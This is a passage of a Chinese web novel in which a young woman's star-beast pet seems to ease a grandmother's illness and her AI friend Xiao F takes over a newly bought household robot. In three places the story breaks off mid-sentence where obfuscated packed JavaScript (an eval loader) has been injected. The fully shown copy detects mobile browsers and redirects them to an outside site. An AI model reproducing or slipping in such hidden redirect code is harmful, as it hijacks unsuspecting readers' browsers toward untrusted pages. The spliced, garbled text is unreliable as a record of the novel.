———— 叶聆音解释了一整个下午，想尽了各种办法，才终于让父母相信了自己并非是受到打击太大，所以失心疯了才会这么说。 她的精神力真的恢复了。 彼时，三人已经回到家中。 秦蓝已经转悲为喜，开始和小女儿商议着挑什么日子去菲罗星探望叶聆音了。比起一旁那高兴得手舞足蹈的母女俩，叶向明仍对往事心有余悸。 “聆音，不是爸爸想打击你，万一……” 叶聆音知道老爸在忧虑什么，她抢先答道：“爸，我有心理准备，你不用担心。现在已经是这样了，能走多远就走多远吧。就算以后出现了变故，我都有应对经验了，不是吗？” 看到女儿目光坚定，神色如常，叶向明稍稍放下心来。 担忧的问题被解决，他也情不自禁地加入到了一旁母女俩的庆贺氛围中。 三人约定会对这个秘密守口如瓶，因为这个难得的好消息，他们准备去吃顿大餐。 “聆音，我们要出门吃大餐了，你下午准备吃什么呀？”秦蓝笑容满面地问她。 “我和朋友去吃饭。” 叶聆音看向自己的光脑。 就在五分钟前，星兽爱好协会的赵杰希发来一条邀约。 他说想和叶聆音见一面，一起吃个饭，他来请客。 并恳请她把不失绵也带上。 24. 清洁 叶聆音找到赵杰希推荐的那家餐厅时，大厅里的全息屏上正播放着综艺节目。 是厉决作为嘉宾的那款全民科普综艺。 他在里面是宛如定海神针般的存在，在他讲话的时候，镜头会切到主持人或现场观众，后者无一不是崇拜仰慕的神情。 而作为对照组嘉宾被邀请来的，是几个有点知名度但并不红的年轻小花。她们的职责除了充当花瓶吸引观众，还包括在节目中提出一些错误的看法或者大众常有的误区，由厉决解答后露出恍然大悟的表情，表示自己学到了。 虽然是个科普综艺，但其实没多少人关心嘉宾们讨论的内容，节目制作组对此也心知肚明。因此，摄像头拍摄的大多也是厉决的怼脸画面。 皇家科学院出身，拥有智慧的大脑，英俊的面庞，以及冷淡疏离的上位者气质。 都是吸引观众的要素，这档节目收视率自然也不错。 弹幕里几乎全是迷妹们爱的宣言，其中还夹杂着对其他嘉宾的谩骂。 叶聆音看着全息屏，比起以前，她现在竟然不觉得看到对方有多么情绪低落。 这些人本来就是冲着她的S级精神潜力来的，她当时没能觉醒精神力，厉决不辞而别也很正常。 她或许并非是因为这些人的离开难过，而是为自己的一蹶不振难过。 赵杰希订的包间在走廊尽头，他和餐厅老板互相认识。大概是他之前已经同对方说好了，所以在叶聆音带着不失绵进来时，服务生看到了她背包里装着星兽，也没有阻拦她，只是好奇地看。 与赵杰希见了面，他身边除了星兽爱好协会的一个叶聆音认识的同伴，还坐着满头白发的老人家。 “聆音，这位是我的奶奶。” 叶聆音看向那个倚靠在座位上的老人，后者目光呆滞，看到来人也没有任何反应，像一截了无生机的枯木。 她想起上次协会聚餐，赵杰希提起自己家里有黑雾病患者，瞬间就猜到了什么。 果然，在用餐期间的谈话中，赵杰希所说的内容与叶聆音猜测的几乎一样。 他很小的时候父母就离婚了，双亲各自组建了新家庭，没人愿意管他，是奶奶多年如一日地将他拉扯长大。他奶奶是个雷厉风行且很有干劲的小老太太，可惜几年前她不幸患上了黑雾病，赵杰希带着奶奶四处求医问药，都找不到彻底根治的办法，只能用很昂贵的特效药帮奶奶维持生命。 他如今的收入不算低，虽然针对黑雾病的特效药价格不菲，但也在他的能力范围之内。而让赵杰希无法接受的是，哪怕坚持服用特效药，这半年来他奶奶的状况却在不断恶化。他咨询了很多医院，得到的回答是：特效药不一定对每个人都有用，而且他奶奶年纪大了，病情发展也更快，能撑这么多年也多亏了他细心照料。 也一直有人劝说他，说老人家这么大年纪，也没几年活了，就算没有患上黑雾病，说不定神智也不清楚，让他不要再浪费钱去填这个无底洞。 可赵杰希不这么想，他奶奶的身体一向很硬朗，如果不是患上了黑雾病，也不会变成这样。 “小叶，我在星际网上关注了你。”赵杰希目光真诚而迫切。 “我看到网络上一些人说他们的黑雾病康复了，我本来是不信的。” 他本人就很喜欢星兽，家里也养了一只。如果星兽能治愈黑雾病的话，他怎么可能发现不了？ 他起初以为这些人是胡说的，但看到越来越多的人留下评论，赵杰希不由地心动了。 自己实在走投无路，哪怕只有一线希望，他也要试一试。 “很抱歉我之前对你的态度不好，我错把那个盗号的人当成了你，真的很对不起。” 叶聆音摆摆手：“这件事情不是都过去了吗？” 赵杰希没必要为了道歉又把她叫过来一次。 对方欲言又止了好几次，终于是将内心想法说了出来：“小叶，我有时候在想，那些在网上说自己康复了的人，会不会是真的？或许你的不失绵就是和其它星兽不一样呢，它可以治好黑雾病！” 说出曾被自己坚决否认的荒谬猜测后，赵杰希整个人如释重负。 哪怕猜对了他此次约她吃饭的目的，叶聆音仍对赵杰希这个异想天开感到讶然，不禁提醒他：“赵先生，你是不是忘记了，我也有黑雾病？” “不！我没忘。”赵杰希的眼睛亮亮的，充满希冀地看向她，“我发现小叶你虽然也患有黑雾病，但平时相处下来几乎和普通人无异，这还不能说明问题吗？” 这话倒是没说错。 叶聆音本人没有任何症状，被发现黑雾病也是在体检时。自始至终，她甚至都没有吃过任何治疗黑雾病的药物，但日常生活却完全没问题。 以至于她偶尔都会忘记自己是个病人这回事。 可，这也不能说明是星兽治好了她的病吧？ 或许她的病情是过很长一段时间后，突然爆发的类型呢？ 赵杰希则说，因为他家里有个朝夕相处的病人，所以对患者的情况更了解。如果稍有好转的迹象，他都不会错过。 “哪怕是服用特效药控制病情的人，也会出现思维迟钝的副作用，所以……”他很笃定地说。 “小叶，不管有没有用，我都想试一试。说不定我的奶奶和不失绵相处一段时候后，病真的会好呢。” “我照顾星兽也很经验，你如果信得过我，可以让不失绵在我家里住一段时间。如果你不放心，我们也可以像现在这样在外面见面，你的通勤和用餐费用我全包，而且还会付给你治疗费。” 看着赵杰希恳求的眼神，叶聆音没有再推拒，反正也不是什么困难的事。 她从改装书包里将不失绵抱出来，因为是陌生的环境，她抱着不失绵轻轻地抚摸它，等不失绵习惯后，这才把它放到了老人腿上。 不失绵起初有些紧张，不过看到叶聆音依着这个陌生人类并排坐下后，它脊背上的绒毛很快放松了下来。 赵杰希来的时候也不忘带来一些星兽爱吃的果子，不失绵就这样趴在老人的腿面上，开始大快朵颐。 整个过程中，老人都没有任何反应，一双浑浊的眼睛木木地注视着前方的空气。 “奶奶，这是星兽，你摸摸看。”说着，赵杰希拉起老人布满皱纹的手放在了不失绵身上。被陌生人触摸到，星兽有一瞬间的躲闪，不过在叶聆音的安抚下，不失绵重新恢复了平静。 赵杰希拉着老人的手，一下又一下地轻轻掠过不失绵毛绒绒的身体。过了一会儿，他松开了手，老人没有依凭的手掌停在半空中，像机器卡壳了。 不过仅仅过去了两三秒，老人的手重新动了起来，模仿着赵杰希握着她的手做出的动作，轻轻地将不失绵从头摸到尾巴。 老人重复着同样的动作，直到不失绵吃完了赵杰希带来的果子，从老人腿上溜回了叶聆音怀里。 老人又机械性地摸了几下空气后，似乎终于意识到星兽已经走了，便放下手静静地坐着，变成了叶聆音第一次见到她时的样子。 在她看来老人没有任何变化，不过赵杰希却表现得喜出望外。 据他所说，他奶奶平时在家里几乎不会动弹，都是在护工机器人的帮助下完成日常生活的。 刚才他松开手后，老人是主动开始抚摸星兽的。 赵杰希对这个结果很满意，两人商量过后，决定每个周末见一次。 他要付给叶聆音“治疗费”，不过她没有收。 因为现在还不能确定不失绵是否真的可以治愈黑雾病，直到她与赵杰希分别，坐在返程的车上时，叶聆音都觉得这件事太荒谬了。 赵杰希是实在没法子了才会这么做吧，就和她在蓝梦星遇到的那个买假药的老婆婆一样。 所以，她一再强调会带不失绵来探望赵杰希奶奶，但她本人不相信星兽能治好黑雾病，让赵杰希不要对其抱有过高的期待。 以免到时候期望落空，他更加走不出来。 “miu——miu——” 耳畔传来星兽抓挠书包的声音。 叶聆音拉开半边拉链，让不失绵可以蹭到自己的手。 她看着不失绵黑曜石一般的圆眼睛，手背上同时还感受到毛绒绒的触感，情不自禁地露出了笑容。 赵杰希说不失绵是很特别的星兽，可叶聆音倒看不出不失绵有任何特殊的能力。 它只是十分可爱罢了。 唯一有区别的是，她绑定了系统，而不失绵是她养的，四舍五入那就是不失绵也绑定了系统。 系统…… 会是系统的缘故吗？ 可是等她回家后询问了系统，对方却说自己没有这种能力。 “我只能在空间里治愈萌宠，治不了这个世界上其他人的病呀。”系统很奇怪叶聆音为什么会这么问。 如果它真是什么救赎系统，或者神医系统，哪会混得这么惨？ 不过惨归惨，真让它和其他系统交换，它还不愿意呢。 “宿主大人，虽然我解答不了你的问题。不过我有一个好消息要告诉你，我们收集到的萌值已经有一万多了！可以购买萌宠清洁道具了哦~” 听到它这么说，叶聆音带着不失绵进入到系统空间内。 系统商城的萌宠清洁道具需要10000萌值兑换，过去这个图标是灰色的，现在叶聆音收集的萌值足够多，可以进行兑换了，那个图标就变成了彩色。 是一个淋浴头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶聆音抚摸着不失绵，很快就睡着了。 ———— 帝都星，元帅府。 康幼兰坐在沙发上，晃悠着手里的酒杯。她已经连喝好几杯了，可仍觉得心烦意乱。 她是个心里藏不住事的人，离开菲罗星后，就到处找人问精神力经过后天训练能不能获得等级提升，得到的答案都是否定的。 就连科学院专研精神力的老教授也说，曜之帝国从未出现她所说的那种情况。 所以，叶聆音还是在撒谎，但为什么上次的鉴定结果…… 康幼兰百思不得其解。 最后，她忍不住和母亲谈起这件事。 “提那一家骗子做什么？”孟春蕾瞪了女儿一眼，她今天刚从皇宫里回来，现在累得要死，没空听她说起那段不愉快的经历。 安素雅，也就是康元帅的原配夫人，不久前被康驰带去皇宫接受治疗。她去探望，得到的消息说，安素雅已经是黑雾病晚期，就算S级治疗师也无力回天，预计最多只有半年可活了。 等安素雅一死，她就是新的元帅夫人。 只可惜她生的这两个孩子都不怎么争气，康元帅更看重的还是大儿子康驰。 康幼兰没意识到母亲语气中的不耐烦，继续诉说自己的不忿：“妈，你知不知道，那个女人，她现在在菲罗星。她不知道用了什么办法，让自己的精神力变成A级了。” 听到A级这字眼时，孟春蕾有片刻的怔愣。她完全没关注女儿的说话内容，只是想到，她的两个孩子都是B级精神力，在普通人家庭有这种天赋已经要烧高香了，但在她们家不行。 特别是上面还有个A级精神力的长子康驰。 等回过味康幼兰刚才说了什么后，孟春蕾发觉不对劲，又反过来问女儿：“你刚才说了什么？” “哎呀，妈，我是说那个天昭星上的女人啊，我看着她做了一次精神力鉴定，结果竟然是A级！” 孟春蕾反复确认了好几遍，康幼兰都一口咬定自己没看错。 “妈，她到底用了什么作弊的办法？竟然接连这么多次把精神力鉴定中心都骗过了。” 孟春蕾沉吟片刻，似乎是想通了什么，没有刚才那么震惊了。 “说不定就是故意做戏给你看，你可不能再上当。” “现在的女孩为了走捷径是不择手段的，至于她用了什么见不得人的手段，我们无需在意。” “这种人，早晚会自食其果。” 25. 选购 菲罗星。 叶聆音在研发部的工作逐渐步入正轨，她与赵杰希的约定也在照常进行。 就这样，时间久了以后，不失绵对老人熟悉了，不再躲开对方的抚摸，有时甚至会对着老人“miu-miu-”叫。 它发现，只要自己被放在这个人身上，就能吃到十分美味的果子。久而久之也不害怕对方了，甚至不用叶聆音去抱它，只要一打开书包，不失绵就会钻出来，自己跳到老人怀里，等着食物出现。 而这一回，不光是赵杰希，就连叶聆音也发现了老人的转变。 前两次见面时，老人就像个假人，不和其他人打招呼也不会动弹，哪怕是孙子赵杰希和她说话她也无动于衷。 但之后的某一天，赵杰希叫她时，老人突然主动抬起头看了他一眼，并且叫出了他的小名，这让赵杰希欣喜若狂，当场红了眼眶。 到了现在，虽然老人偶尔还是会陷入神志不清的状态，但已经可以自己走进房间，自己吃饭了。她意识清楚的时候能认出自己的孙子，记得以前发生过的事情，会和赵杰希说话叙旧，甚至还记住了叶聆音的样子，看到她时会笑着和她招手。 “真的太感谢你了，小叶！” 又是一个周末过去，分别的时候赵杰希转给了叶聆音一笔钱，不是个小数目，她再三推辞，可对方执意要给她。 “现在这个情况我已经很满意了，这么久以来辛苦你帮助我治好了我奶奶。” “这是我的一点心意，这笔钱本来就是给我奶奶治病的医药费里的一部分。和特效药比起来，都算少的了。” “这件事，除了和我一起来的那个很信任的朋友，我没有告诉任何人。” 毕竟是治疗黑雾病这么惊世骇俗的事情，宣扬出去可能会给叶聆音的生活造成麻烦。 他还建议叶聆音也去医院复查一下，她这个主人和星兽在一起这么久了，说不定她的病早就自愈了而她本人还被蒙在鼓里。 叶聆音听取了赵杰希的建议，特别是看到他奶奶逐渐康复的这个过程后。 她的黑雾病也好转了吗？ 叶聆音去了医院检查，结果却出乎意料，她再次被确诊为黑雾病。 医生说她现在还没有症状，可能是因为疾病早期外加她年轻身体素质还比较好，建议她趁着年轻尽早吃药治疗。 叶聆音看着昂贵的医药账单，没有选择购买药品。 走出医院大门，她回想起那会儿，医生问她最近有没有感到什么身体上的变化，叶聆音说没有。 但就在刚才，她猛然间意识到，她其实是有变化的，那就是她莫名其妙有了精神力。 这会和她的病情有关系吗？ 想不出答案，叶聆音很快把这个疑问抛到了脑后。 她回到家里，关起门开始算账。 有了赵杰希感谢她的那笔钱，再加上她以往的积蓄，工作收入，视频收入，还有小F打工赚的钱，零零散散地加在一起，竟然真的攒得差不多可以支付那款机器人的首款了。 她还是第一次存到这么多钱。 “小F，我们竟然真的攒了这么多钱。”叶聆音的双眼闪烁着光芒，嘴角不由自主地扬起，因为有些兴奋，女孩白皙的脸颊上微微泛红。 “是的，聆音，我也很高兴。虽然这款朗读软件的发音方式，不能表达我此刻的心情。” 电脑发出一阵平稳的机械音。 是小F下载的软件，可以将它打在文档里的字读出来。 “我们现在就出发。”叶聆音背上电脑，戴上耳机就出门了。 ———— 桑弗拉尔公司是曜之帝国龙头级别的科技公司，叶聆音去了他们家的机器人旗舰店，一座占地接近一百亩的巨型钢铁建筑。 远远看去，极具科技感的同时又有种迷幻冷峻的美丽。 一个身材挺拔，相貌英俊的导购员很礼貌地将叶聆音请进店里，并询问她需要全程陪同，还是想先自己进去逛逛。 员工守则第三条，要让你的客人在选购商品时感到如沐春风，过度热情和过度冷淡都是不可取的。 叶聆音说她想自己看看，有需要再来找他。 “好的，您的背包需要我帮您存放起来吗？”导购员的目光看向叶聆音的那个帆布挎包，他一眼就看出这种质感的背包绝对不超过三十星币，已经自动将叶聆音划分到不买东西，只是随便进来看看、开开眼界的穷酸鬼行列。 不过，他表面上不会展现出任何怠慢的样子。 员工守则第七条，不要因为接待的客人没有购买商品的能力而轻慢对方，永远记得保持微笑。 “不用了，谢谢。”叶聆音说着，从包里取出电脑，打开摄像头对着那一排排展示台上的机器人。 “这种样子的，你喜欢吗？” 导购员的眼中闪过片刻疑惑，很快，他明白过来这是在打语音视频。 可为什么要举着个电脑？ 导购员没有过度深究这个问题。 员工守则第二十五条，不要对客人的任何合法行为表现出惊讶、嘲讽或是不理解的样子。 叶聆音戴着耳机，假装在和其他人打视频聊天沟通要买什么。而她实际上，就是在和手里的电脑说话。 耳机里传出小F的回答。 “它们的脸我不太喜欢。” 叶聆音又走向另一排风格不同的货架，毕竟是给小F挑选身体，还是这么昂贵的智能机器人，当然得要它足够满意才行。 就算是买衣服，对于价格高的款式，也是要精挑细选的。如果买回去后发现不合身，或者样子不喜欢穿不出去，每每从箱底翻出来时都会因为浪费了好多钱而痛心疾首。 一旁的导购员看着叶聆音端着电脑在货架间来来回回走，看她这架势，好像确实有购买意愿。 他摩挲着下巴，决定派出导购机器人。 公司内部调研表明，顾客在面对形态可爱的机器人时的耐心程度，要高于面对一个真人推销员。 很快，一个圆滚滚半人高的机器人出现在了叶聆音面前。 “女士您好！有兴趣看看我们公司新出的仿生人吗？无论是家庭助理、情感伴侣还是专业领域的得力助手，我们的仿生人都可以胜任。有上百种外观设计可供挑选，如不满意，还可享受我们的定制服务，根据您的喜好与需求，为您量身打造出独一无二的专有仿生人。” 叶聆音有些好奇仿生人能做到多逼真，便跟着导购机器人去往了仿生人展厅。 大概是因为外观太像人会给顾客无形的惊悚感，仿生人展厅的设计更加贴近生活。不像机器人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862819|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样整齐划一地陈列起来，而是被设定成不同的动作，放置在对应的区域内。 “哇哦，它们看上去就像真正的人类一样。” 耳机里传来小F的赞叹声。 叶聆音深有同感，如果不凑近看，真的会将动起来的仿生人当成真人。 “小F，你喜欢仿生人吗？” 小F没有回答，只是反过来问她。 “聆音呢？你喜欢仿生人吗，喜欢这种更像人类的形态吗？” 叶聆音看向身旁距离自己最近的那个男性仿生人，混血感的建模脸，雕塑般的身形，加上恰到好处的打光，完美得无可挑剔。 介绍栏上写着，这是一款情感伴侣型的仿生人。 确实很吸引人。 不过叶聆音想象了一下，如果自己家里出现这样一个仿生人，她可能会感到不自在。 “我还是更倾向于之前看到的机器人，而且……”她低头看了看了一眼仿生人的价格，最便宜的基础款也要三百万星币。 她根本买不起。 但来都来了，叶聆音打算跟着导购机器人走马观花地逛逛。 不一会儿，这个圆滚滚的家伙就将叶聆音带到了一处，打着桃红色光圈的圆形区域。 叶聆音还疑惑这里的氛围灯怎么是这样的，等看到告示牌上“未成年禁止入内”后，突然反应了过来。与此同时，导购机器人已经开始朗读起了内置的推销词。 “尊敬的贵客，现在呈现在您眼前的，是我司精心设计打造的情趣仿生人。无论是温柔的拥抱，还是激情的夜晚，我们的产品都能完美契合您的节奏。逼真的触感与外形，为您开启通往极致愉悦的……” 叶聆音急匆匆地离开了那片桃红区域。 “聆音，不看了吗？” 耳机里传来小F的语音。 她只是闷闷地“嗯”了一声。 好在小F没有多问什么。 她重新回到充满机械感的机器人区，感到那颗紧张羞赧的心稍稍平静了一点。 “聆音，就在你前面，左边那一排感觉不错。” 她跟着小F的指示，来到了那款机器人的货架前。 外形很简约，没有特意做得像人，而是更注重功能性。 白色流畅的机身，黑色纤长的四肢，无一不透出原始部件的金属光泽。头部也没有做成人脸，而是一个方形的显示屏。 像个大号的火柴人。 看了看介绍栏，这是一款家庭助理型的机器人，包含的功能很多，价格也相对便宜。 唯一的缺点是它几乎没有情感陪伴功能。 不过，这对小F没什么影响。 小F：“这个怎么样，聆音？我喜欢这个样子，你看，它也有个显示屏。” 听着耳机里的声音，叶聆音心想：所以小F是喜欢显示屏吗？还是它当了这么长时间的电脑，对这种形态的机器人有种亲近感？ “嗯，我也喜欢这个，我们就选这一款。” 几分钟后，看着那款助理型机器人被打包装进箱子，叶聆音还有种不真实感。 小F以后，就要变成这种样子和她相处了。 叶聆音支付了首款，后面的金额将分成六个月还请。 她选好了配送时间，便离开了这家机器人商店。 26. 接触 当天下午，叶聆音回到家没多久，就收到了自己购买的机器人。 将机器人从箱子里拖出来花费了她不少工夫，不过机器人的重量要比她想象中的轻一些。 叶聆音取出和课本一样厚的说明书，翻开看了几页后就放弃了。 写得很复杂，用处不是很大。 更多人应该都会选择在使用过程中慢慢摸索机器人的用法，如果实在有解决不了的问题再按照索引去翻说明书。 而且，叶聆音也不需要熟知这款机器人的具体操作，就和她的电脑一样，小F会彻底接管这具身体。 “小F，我要怎么做才能把你从电脑转移到那个机器人上面？” “只要产生接触就行，金属材质会更快一些。”耳机里传来解答。 “聆音，你最好在这个过程中不要碰到我，我不确定这会不会对你造成伤害。” “好。” 接触就行…… 叶聆音拿起电脑，将其贴在机器人金属手臂上，随后很快地撇开手，后退了几步。 她目不转睛地盯着两者接触的地方，想要看清小F是如何从一样物品转移到另一样物品上面去的，就像它当时从那个小机器人跑到了她的电脑上一样。 说不定还可以看到它真正的样子。 不过很可惜，她看了足足有几分钟，眼睛都发酸了，什么特别的画面都没有看到。 “小F，你成功了吗，我现在可以碰你了吗？” 没有回应。 叶聆音只好又等了一会儿，结果无论是她的电脑，还是那个新买回来的机器人，都没有任何动静。 怎么回事？ 叶聆音上前，准备打开电脑问问它。她又想起小F说这段时间不要碰它，思来想去，叶聆音从阳台取来晾衣杆，将电脑和机器人分开。 这下应该没事了吧，她心想。 叶聆音走上前，打开了电脑，文档还停留在小F说的上一句话那里。 “小F？” 耳机里没有应答，文档也没有出现新的文字。 叶聆音看向一旁的机器人。 小F是不是已经进入这个机器人里面了呢？ 叶聆音按下了机器人的开机键，那个充当脑袋的显示屏亮了起来，伴随着一阵悠扬的音乐，屏幕上出现了一段桑弗拉尔公司的宣传片。 “尊敬的用户，感谢您选择并信任我们的产品！我们的每一件产品，都凝聚了设计者的智慧与匠心，旨在为您的生活带来便捷与幸福。无论是工作中的高效助力，还是休闲时的精神娱乐，我们都希望成为您值得信赖的伙伴。” “在此，我们承诺持续为每一个用户提供优质的服务与支持。您的反馈是我们前进的指引，您的笑容是我们最大的成就。愿我们的产品能为您的生活增添一抹亮色，开启科技生活的美好篇章。” “桑弗拉尔公司，祝您使用愉快！” 宣传片播放结束，显示屏停留在了初始设置界面。 “小F？”叶聆音继续喊它。 现在都开机了，它既然不在电脑上，那么就可以控制这个机器人动起来了吧。 然而什么都没有发生。 看着面前这个冷冰冰的机器人，叶聆音突然产生了一种不安的慌张感。 小F，它不可能是消失了吧？ “小F！”叶聆音更大声地呼唤它。 “即将跳过初始设置界面，倒计时十秒，十、九、八……” 看着屏幕上的数字一个个变小，圆形缓冲条转了几圈后，出现了一个崭新的界面，上面依次列举着接下来要进行的工作内容。 “尊敬的用户，下午好，HAR-7000型号机器人为您服务。” 智能机器人足以与真人相媲美的声线，丝滑地念出语句。 “请您设置接下来的工作列表，如您暂时没有特殊需要，本机型将进入自动模式。” 叶聆音愣愣地望着眼前这台公事公办的机器人，它不是小F，只是个按照既定程序运转的机器。 怎么会这样？ 识别到叶聆音始终没有进行操作，家庭助理型机器人开启了自动模式。它转动屏幕上的摄像头，开始在屋子里搜寻工作。 随后，它迈开腿走到杂物间取出清洁用品，开始打扫房间。 不对，不该是这样的。 叶聆音快步走到机器人身边：“小F，你不记得我了吗？” 机器人一边擦拭柜子，一边转过屏幕对向她：“请问您有什么需要吗？” 叶聆音目瞪口呆地看向对方，指尖发凉。 小F不在这个机器人上面吗？ 她又转身拿起电脑，在文档里输入文字。 【小F，你在吗？你去哪里了？】 光标一闪一闪，没有任何回应。 那个机器人看到叶聆音坐在电脑前，便主动上前询问她：“请问您是否需要一杯咖啡？” 叶聆音无力地瘫倒在椅子上，在惊惧与懊悔之下，她努力让自己冷静下来，开始回忆之前发生过的一切，试图从中找出疏漏的地方。 然而她却越想越着急，脑袋里一团乱麻。 明明不久前自己还满怀期待，事态为什么会突然朝这个方向发展？ 现在小F既不在那个机器人身上，也不在她的电脑上面…… 鼻腔深处隐约有些发酸，很快，她的眼眶也无法控制地开始湿润。 正当她陷入悲伤之际，那个站在她身旁的机器人冷不丁叫出了她的名字。 “聆音。” 她猛地抬起头，机器人不急不缓地发出声音。 “我还在。” “我只是好奇，如果我什么都不做，就让这个机器人按照程序设置运行会怎么样？” “这个初始声音，你喜欢吗？还可以自己进行调整的。” 所以，之前发生的一切，只是在逗自己玩吗？ 她止住了泫然欲泣的眼泪，没有回答这个问题，只是满怀怒意地瞪着它。 小F：（⊙▽⊙） 对方感受到了她的怒意，并显示出颜文字企图靠卖萌混过去。 面前的机器人学着人类尴尬时的动作，反手装模作样地挠了挠光秃秃的后显示屏。 要不是它浑身都是金属和复合材料制成的，叶聆音真想给它一拳。 听到小F承诺自己今后不会再开这样的玩笑，她的气这才终于消了大半。 “这个身体怎么样？”叶聆音问它。 虽然她在研发部工作的收入很高，但毕竟是智能机器人这么昂贵的家庭用品。如果不合适的话，要及时去退换。 小F在屋子里活动了几下四肢，原地跳了几下，又高举着双臂迈开一双机械腿，在空旷的地方哒哒哒地跑起来。 它欢呼道。 “这个身体太棒了！” “或许没有人类的身体那么精密，不过我已经非常满意了。” 它的手不再是最初那个廉价小机器人的括号手，只能勉强夹起厚度适中的物体。现在的这个，是完全按照人类灵巧的双手仿制出来的，同样拥有五个手指，还有可供活动的关节。 它尝试用这双手去抓起形态不同的物体，去翻书，去拿起水杯，玩得不亦乐乎。 而且，通过它对这个身体功能的了解，它发现这双机械手上还配备了传感系统。可以感受到流动的水，吹来的风的方向，拿起冰箱里储存的食物时，会感到冷。 以及…… 小F将显示屏转动六十度，“看”向一旁始终关注着它的叶聆音。 两者对视。 正当叶聆音要问它怎么了的时候，小F突然开口道： “聆音，我想用这个机械手去握一下你的手，可以吗？” 听上去也不是什么过分的要求，叶聆音同意了。 于是，小F伸出机械臂，轻轻地从下方托起并握住了她的手。 机器人的手比她的大一圈，修长而纤细，合金本体之外有特殊涂层，所以看上去没有明显的金属光泽，摸上去的温度也没有那么凉。在弯曲指节时可以看到内部精密的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它的显示屏上这会儿没有任何文字或表情，只有一个电池形状的图标，显示正在充电。机器人身体上其余的一些指示灯也处于熄灭状态，说明正在待机状态。 叶聆音：“小F。” 听到她的声音，那个微微向下倾斜的显示屏突然抬起，向她所在的方向转过来，亮度也突然提升了好几档。 “怎么了，聆音？” “小F，我的家人下一周要过来这边。”临睡前，叶聆音突然想起了这件事。 如果是一般的家庭型机器人还好说，但小F不一样，她认为自己有必要告知对方这件事。 家人…… 寂静的夜晚，机器人运行时发出的嗡鸣声没有白天那么容易忽视。 这也能让叶聆音知晓，小F正在思考。 很快，它对此做出了反应。 “我知道，家人是指聆音的爷爷奶奶，外公外婆，爸爸妈妈，伯伯婶婶，叔叔阿姨，还有兄弟姐妹吧？人类血缘亲属之间的走动很普遍，既然是来聆音这里做客，那么聆音就是主人，需要提供招待客人的食物。” “要提前准备至少十五个人的餐食，按照聆音的收入水平，购买食材的预算大概是……” 眼见它顺着家庭型机器人的思路越分析越偏，叶聆音赶忙打断了它：“没有那么多人啦。” “就我的父母，还有我妹妹，再加上我一共四个人。” “小F，我告诉你这件事，是想你可以和她们认识一下。” “她们应该会把你当成普通的机器人看待，我其实在想，如果这样也好。” 不论她是否能说服父母小F本身很特殊，结果都会是叶聆音本人不愿意看到的。 要么像上次那样，被父母当成压力过大而精神失常的表现，要么就会担心小F来路不明，让她想办法把小F送回去。 小F没有追问她什么，只是对此表达了认同：“我知道了，聆音。” 27. 蛋糕 下课铃声响起，叶翎羽抓起书包两步并做一步，抢在一哄而散的同学前头夺门而出。 不仅仅是因为接下来要放长假。 半个月前，父母商量好要趁着这个假期去菲罗星看望姐姐，正好也快到叶聆音的生日了，一家人聚在一起庆祝顺便旅游散心。 为了不耽误时间，订好的飞船是今天晚上出发的。 叶翎羽急匆匆地赶回家，就看到妈妈在忙碌着收拾行李。不久后爸爸也下班回来了，三个人风风火火地将一切打理好，拉着大包小包出了门。 这个点是很多人吃过晚饭出来消食的时候，三人出门时刚好撞到邻居老朱站在走廊打嗝，后者正吆喝着叫老婆孩子快一点。 老朱看到叶家一副要出远门的样子，扬起了那对稀疏的眉毛。 “老叶，你们这是要去哪儿啊？” 叶向明客气地笑了笑：“这不是放长假了吗，出去旅游。” 这时，朱太太带着儿子从家门走出，恰好听到了这边的对话。 女人一双三角眼微眯着，眼尾刀刻般的皱纹愈加清晰，她扬起红唇露出一抹讥笑，也加入了对话。 “叶先生家是该好好去散散心，我听说你家太太不久前丢了工作。唉，我们公司最近有个人也被裁员了，再加上家里孩子不争气，一时间想不开就跳楼了。” “啧啧，才四十出头的年纪，多可惜呀。” 听到对方这几句表面安慰，实则刻薄尖酸专戳人痛处的话语，秦蓝已经黑了脸，她正要呛对方几句，被丈夫拦住了。 另一边，老朱也转过身对妻子嗔怒道：“哎哟，你好端端地提这事做什么呀？” “年纪不大脑子就糊涂了吗？真是哪壶不开提哪壶！不会安慰人就闭嘴。” 说着，老朱回过头，看似漫不经心地接了一句：“是去看闺女吧？” 叶向明嘴角抽搐了几下，还没来得及说什么，就听到老朱用一种“我都明白”的语气自问自答接上了前半句话。 “年轻女孩想走捷径很正常，事情都过去了，不要觉得不好意思回来。你们去了也给孩子做好心理工作，外面的世界没那么好闯荡的，别逞强。咱们都是这么多年的邻居了，这段时间我们院里刚好缺个保洁员，一个月800星币的工资。虽然不多，但总好过饿死，你说是不是？” “如果有需要，我可以帮忙引荐。” 另一边，叶翎羽只是冷冷地注视着对方不说话，秦蓝则是个不会掩饰情绪的人，语气里夹枪带棒地回怼道：“这么好的工作，还是留给你儿子吧。” 似乎猜到对方会这么说，朱太太噗嗤一下笑出了声：“唉，我倒是想让我们臣臣去干点基层的活儿锻炼锻炼呢，但没办法呀。你也知道C级精神力在咱们天昭星有多稀缺，好多单位抢着要人。” “这孩子真是被我们惯坏了，总跟我说：那些脏活累活是没能力的人迫不得已才去做的，他可不要没苦硬吃。” 秦蓝正要出言回击，却再次被丈夫阻止。 